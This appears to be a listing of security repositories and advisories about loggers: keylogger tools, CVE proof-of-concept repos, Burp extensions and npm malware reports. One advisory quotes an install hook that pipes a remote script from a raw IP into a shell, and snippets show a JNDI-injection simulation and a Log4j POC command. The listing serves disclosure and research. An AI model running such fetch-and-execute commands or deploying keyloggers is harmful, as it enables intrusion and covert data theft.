BeeLogger

BeeLogger Copyright 2017 BeeLogger Written by: Alisson Moretto - 4w4k3 Twitter: @4w4k3Official TOOL DESIGNED TO GOOD PURPOSES, PENTESTS, DON'T BE A CRIMINAL ! Only download it here, do not trust in other places. NOTE: BeeLogger just have official support for latin languages in this moment. HOW TO...

duckLogger

DuckLogger DuckLogger es un registrador de teclas USB basado en ESP32-S3. Registra las pulsaciones de teclas en un archivo de texto y proporciona acceso inalámbrico para descargar los registros a través de un punto de acceso Wi-Fi integrado. Recrear este proyecto no requiere ninguna PCB...

CVE-2025-10951

CVE-2025-10951 - checkmlloggertraversal.py Proof-of-existence checker for CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — an unauthenticated path traversal in geyang/ml-logger ≤ 0.10.36, affecting the loghandler / streamhandler functions in mllogger/server.py. For use only against systems you are authoriz...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate This POC uses Spring / Hibernate, however a similar approach of rmi - deserialization could be used to trigger any deserialization vulnerability TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-bina...

alpr-dashboard-patches

Parches de tiempo de ejecución para ALPR Dashboard Dos parches de integración directa para el proyecto Docker algertc/alpr-dashboard. Ambos se pueden implementar sin modificar ni reconstruir la imagen original. Qué hay aquí logger-fix/ — registrador asíncrono + limitación de limpieza Reemplaza el...

cve-2022-22965

Minimal CVE-2022-22965 example At the time of writing, spring-web request params binding WebDataBinder, by default allows accessing object's getClass method. This is an internal jvm specific implementation detail imho shouldn't be exposed. As such, its features may change and be expanded with...

PwnFox

PwnFox PwnFox is a Firefox/Burp extension that provide usefull tools for your security audit. If you are a chrome user you can check https://github.com/nccgroup/autochrome. PwnFox Features Single click BurpProxy Containers Profiles PostMessage Logger Toolbox Security header remover Installation...

freedomfighting

Freedom Fighting scripts This repository contains scripts which may come in handy during your freedom fighting activities. It will be updated occasionally, when I find myself in need of something I can't find online. Everything here is distributed under the terms of the GPL v3 License...

CVE-2020-11851

CVE-2020-11851 Remote Code Execution vulnerability on ArcSight Logger via ArcSight Management Center https://nvd.nist.gov/vuln/detail/CVE-2020-11851 Executive Summary Vulnerability Background ArcSight Logger is a comprehensive log management solution that eases compliance burdens and enables fast...

TencentOS Server 4: wireshark (TSSA-2026:0956)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0956 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities...

de4dot

Description de4dot is an open source GPLv3 .NET deobfuscator and unpacker written in C. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored eg. string encryption, but symbol renaming is impossible to...

CVE-2025-10952-ml-logger-AFR

CVE-2025-10952 — ml-logger streamhandler Arbitrary File Read This repository provides a standalone Python script — CVE-2025-10952.py — that exploits an unauthenticated arbitrary file read vulnerability in ml-logger's streamhandler, chained with the /glob endpoint for filesystem enumeration. When...

LoggerPlusPlus

Logger++ Advanced Logging for Burp Suite Developed by Corey Arthur Originally by Soroush Dalili Released as open source by NCC Group Plc - https://www.nccgroup.com/ Released under AGPL-3.0 see LICENSE for more information Description Logger++ is a multithreaded logging extension for Burp Suite. I...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – Log4j‑style JNDI Injection in Custom Logger Simulated Program Code Java simulation in Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?'...

Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

MAL-2026-15513 Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

SUSE CVE-2026-80704

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: use proper context for logging The same as the rest of the code, getssinfofromatombios uses calcpllcs-ctx-logger for logging. But calcpllcs-ctx is initialized only later in calcpllmaxvcoconstruct. Therefore, any...

CVE-2026-81574

In CodeMeter Runtime before versions 8.41a and 9.10, the logger does not sanitize input strings in certain cases, allowing an attacker to inject printf-style format specifiers. This can be used to reliably crash CodeMeter and disclose sensitive information such as process memory and stack canarie...